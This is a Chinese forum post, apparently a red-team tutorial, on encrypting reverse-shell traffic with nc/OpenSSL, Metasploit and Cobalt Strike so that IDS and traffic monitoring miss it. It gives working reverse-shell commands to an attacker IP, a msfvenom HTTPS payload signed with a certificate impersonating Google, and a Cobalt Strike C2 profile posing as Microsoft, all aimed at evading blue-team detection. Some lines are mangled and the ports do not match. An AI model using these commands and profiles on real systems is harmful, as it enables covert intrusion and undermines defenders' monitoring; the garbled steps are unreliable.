电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 4160 人浏览分享

渗透测试之地基流量加密篇:SSLMSF CS三种方式进行流量...

[复制链接]
4160 0
本帖最后由 zhaorong 于 2021-4-21 15:47 编辑

简介

渗透测试-地基篇

该篇章目的是重新牢固地基 加强每日训练操作的笔记,在记录地基笔记中会有很多跳跃性思维
的操作和方式方法 望大家能共同加油学到东西。

请注意:

本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器 都是自行搭建的环境进行渗透的。
我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的 如果列出的技术用
于其他任何目标,本站及作者概不负责。

名言:

你对这行的兴趣 决定你在这行的成就!

前言

红队进行渗透测试的后续渗透阶段为了扩大战果 往往需要横行渗透 往往需要反弹 shell 如果反弹 shell 都
是明文传输那么内网里有IDS或者防护软件会进行流量进行分析 检测带有攻击特征很快被发现 如果蓝队对
攻击流量回溯分析 就可以复现攻击的过程。

那么蓝队发现红队的行为特征判断后 进行阻断红队行为 红队就无法进行渗透行为了...今天将介绍常
用的nc反弹shellMSF监听反弹shell Cobalt strike 4.0拿shell,三种方式如何进行流量加密 如何过
IDS或者防护软件分析设备和工具的。

此次利用wireshark抓包进行模拟流量分析设备进行演示!!

二、环境介绍

QQ截图20210421141625.png

黑客(攻击者):
IP:192.168.175.145
系统:kali.2020.4
VPS服务器:
此次模拟环境将直接越过VPS平台钓鱼拿到对方的shell过程!!
办公区域:
系统:windwos 2019
IP:192.168.2.142
linux系统:kali.2020.4(模拟linux服务器)
IP:192.168.2.141

目前黑客通过kali系统进行攻击行为 发现漏洞后获得了linux和windows 2019两个办公区域系统的权限 使用了nc反弹
shellMSF生成的shell Cobalt Strike 4.0生成的shell进行反弹...获得了最终的控制权限 但是办公区域存在IDS等流量监
测设备 为了防止被监控 将演示三种不同方式拿反弹shell后如何流量加密不被IDS等流量监测设备发现!!

三、Nc正常拿shell

Nc瑞士军刀它也是一个功能强大的网络调试和探测工具能够建立需要的几乎所有类型
的网络连接支持linux和windows环境 红队喜爱工具之一....
这里演示NC正常拿shell情况下 如何被对方流量监控到的....

1,初步环境

QQ截图20210421141935.png

该图可看到攻击者和被攻击者IP情况...

1008.png

攻击者开启NC监听本地8888端口!

nc -vlp 8888

1006.png

被攻击者端开启Wireshark进行流量实时监听分析!

2、拿shell监听

1004.png

使用Wireshark对eth0进行流量抓包分析,被攻击端执行一句话shell命令:
bash -i>& /dev/tcp/192.168.175.145/8888 0>&1

1002.png

攻击方利用nc 通过反弹shell方式获得了控制权限...

1000.png

攻击者进行信息收集命令操作被攻击者Wireshark一直在监听着!!

3、流量分析

989.png

这边我们来到被攻击者主机上查看下抓包信息 选择TCP流信息...

987.png

可看到未加密的情况下 流量设备是可以查看到攻击者的行为记录的!!!

那么接下来将演示如何进行流量加密!!

四、OpenSSL流量加密

OpenSSL进行加密拿shell 和NC的性质是类似的 都是通过/bin/bash获得shell
接下来将用OpenSSL进行演示流量加密!!

1、OpenSSL证书

896.png

在kali上使用OpenSSL生成自签名证书:
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
成功生成后 在桌面有两个pem加密文件key!!

2、成功提权

893.png

openssl s_server -quiet -key key.pem -cert cert.pem -port 8888 #开启监听
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect
192.168.175.145:8888 > /tmp/s; rm /tmp/s #反弹shell命令

成功通过Key加密获得了控制权限 并执行了相应的控制命令!!行为都被WireShark流量进行监控了!!

3、流量分析

891.png

通过TCP流查看到的信息都是乱码,经过了加密!

五、Metasploit流量加密

Metasploit在内网做横行渗透时 这些流量很容易就能被检测出来 所以做好流量加密就能

避免审计工具检测出来 开始演示!

1、创建 SSL/TLS 证书

888.png

openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 \
-subj "/C=UK/ST=London/L=London/O=Development/CN=www.google.com" \
-keyout www.google.com.key \
-out www.google.com.crt && \
cat www.google.com.key www.google.com.crt > www.google.com.pem && \
rm -f www.google.com.key www.google.com.crt

这里模拟的是google的SSL证书信息!!可自行修改可信度高的证书!!

887_看图王.jpg

检查google的key生成情况,正常!!

2、生成后门

886.png

msfvenom -p windows/meterpreter/reverse_winhttps LHOST=192.168.175.145 LPORT=443 Payload
UUIDTracking=true HandlerSSLCert=www.google.com.pem StagerVerifySSLCert=true PayloadUUID
Name=ParanoidStagedPSH -f psh-cmd -o dayu.bat

成功生成后门,可根据情况进行修改IP和端口!!

3、设置监听

882.png

set payload windows/meterpreter/reverse_winhttps
set LHOST 192.168.175.145
set LPORT 443
set HandlerSSLCert /root/Desktop/www.google.com.pem
set StagerVerifySSLCert true
exploit

配置侦听器时还需要使用两个附加选项HandlerSSLCert和StagerVerifySSLCert。这是为了通知处理程
序它将使用的证书与有效负载相同并在接收到连接时执行SSL证书验证。
这里set HandlerSSLCert路径文件需填对!!

880.png

被攻击者成功访问到开启的HTTPS-SSL!!

798.png

查看伪造的SSL证书!!

4、成功控制

796.png

成功控制对方 并执行命令进行后渗透 在被攻击者流量工具分析上查看到流量已经经过了SSL加密
并查看TCP流中信息都是加密后的乱码信息....成功流量加密!!

六、Cobalt Strike 4.0流量加密

cobalt strike是很多红队的首选的攻击神器 在后渗透方面效果显著很好 导致很多IDS入侵检测工具和流量检测工具已经
可以拦截和发现 特别是流量方面 如果使用默认证书进行渗透和测试 特别在高度安全的环境下 好不容易找到一个突破口
因为证书没修改 被流量检测出来并进行拦截 检测报告将返回给管理员,管理员就能马上将缺口进行修复。那么红队之
前的攻击就会付诸东流 攻击计划就要重新制定。

接下来将演示如何CS进行流量加密!!

1、CS证书生成介绍

790.png

在运行cobalt strike默认使用的cobaltstrike.store证书 这里使用新的技术生成新的证书来逃避IDS检测!

2、证书生成

99.png

keytool -genkey -alias moonsec -keyalg RSA -validity 36500 -keystore dayu.store

98.png

利用keytool生成了一个证书具体的可进行修改!!

输入密钥库口令:
密钥库口令太短 - 至少必须为 6 个字符
输入密钥库口令:
再次输入新口令:
您的名字与姓氏是什么?
[Unknown]:  dayu
您的组织单位名称是什么?
[Unknown]:  Microsoft
您的组织名称是什么?
[Unknown]:  Microsoft
您所在的城市或区域名称是什么?
[Unknown]:  US
您所在的省/市/自治区名称是什么?
[Unknown]:  US
该单位的双字母国家/地区代码是什么?
[Unknown]:  en
CN=dayu, OU=Microsoft, O=Microsoft, L=US, ST=US, C=en是否正确?
[否]:  y

需要输入密码、以及一些基本信息后成功生成dayu.store证书!!

3、创建C2-profile文件

这是cs内置工具用于控制cs流量 可以防止安全设备对流量特征进行监控和拦截!!

96.png

  1. set sample_name "dayu POS Malware";
  2. set sleeptime "5000"; # use a ~30s delay between callbacks
  3. set jitter    "10";    # throw in a 10% jitter
  4. set useragent "Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0";
  5. #设置证书,注意以下内容得和你之前生成的证书一样
  6. https-certificate {
  7. set CN      "dayu";
  8. set O        "Microsoft";
  9. set C        "en";
  10. set L        "US";
  11. set OU      "Microsoft";
  12. set ST      "US";
  13. set validity "365";
  14. }
  15. #设置,修改成你的证书名称和证书密码
  16. code-signer{
  17. set keystore "dayu.store";
  18. set password "dayu123";
  19. set alias "dayu";
  20. }
  21. #指定DNS beacon不用的时候指定到IP地址
  22. set dns_idle "8.8.4.4";
  23. #每个单独DNS请求前强制睡眠时间
  24. set dns_sleep "0";
  25. #通过DNS上载数据时主机名的最大长度[0-255]
  26. set maxdns    "235";
  27. http-post {
  28. set uri "/windebug/updcheck.php /aircanada/dark.php /aero2/fly.php /windo
  29. wsxp/updcheck.php /hello/flash.php";
  30. client {
  31. header "Accept" "text/plain";
  32. header "Accept-Language" "en-us";
  33. header "Accept-Encoding" "text/plain";
  34. header "Content-Type" "application/x-www-form-urltrytryd";
  35. id {
  36. netbios;
  37. parameter "id";
  38. }
  39. output {
  40. base64;
  41. prepend "&op=1&id=vxeykS&ui=Josh @ PC&wv=11&gr=backoff&bv=1.55&data=";
  42. print;
  43. }
  44. }
  45. server {
  46. output {
  47. print;
  48. }
  49. }
  50. }
  51. http-get {
  52. set uri "/updates";
  53. client {
  54. metadata {
  55. netbiosu;
  56. prepend "user=";
  57. header "Cookie";
  58. }
  59. }
  60. server {
  61. header "Content-Type" "text/plain";
  62. output {
  63. base64;
  64. print;
复制代码


创建dayu.profile文件 主要需要修改的是https-certificate和code-signer两处地方
对应keytool填写的信息即可!!!

94.png

92.png

利用CS的c2lint来验证dayu.profile是否成功生成和执行!!可看到是成功的!!

4、配置teamserver

teamserver默认端口是50050很容易被检测出来 我们将修改端口防止被检测出来...

90.png

vi teamserver进行配置 修改成40567端口!!

88.png

  1. ncode]ohup ./teamserver 192.168.175.145 11111 dayu.profile &[/code
复制代码

利用nohup运行teamserver 放在后台运行 避免shell关闭teamserver也关闭!!

5、开启Cobalt Strike

87.png

打开CS 端口和刚修改的teamserver配置一致!
85.png

进入后创建Linsten监听 选择HTTPS!!

83.png

可看到成功建立了HTTPS证书信息!!

6、成功控制

通过Cobalt strike生成的各种shell 在进行免杀!

81.png

被攻击者执行免杀shell后 攻击者成功控制系统 执行了相对应的命令后 在Wireshark查看到Tcp流信息
是经过加密传输的乱码形态!!成功加密!!

七、总结

通过OpenSSL keytool等方式进行证书生成 并利用证书等形式进行流量加密 能对如今非常流行的反弹
shell MSFCS工具进行使用 能更好的在后续渗透阶段扩大战果而不被发现阻断 放大还有很多 只是拿出
了几个典型的方法来演示给大家学习!!

希望大家提高安全意识=没有网络安全就没有国家安全!

今天基础牢固就到这里 虽然基础 但是必须牢记于心。

您需要登录后才可以回帖 登录 | 注册

本版积分规则

1

关注

0

粉丝

9021

主题
精彩推荐
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.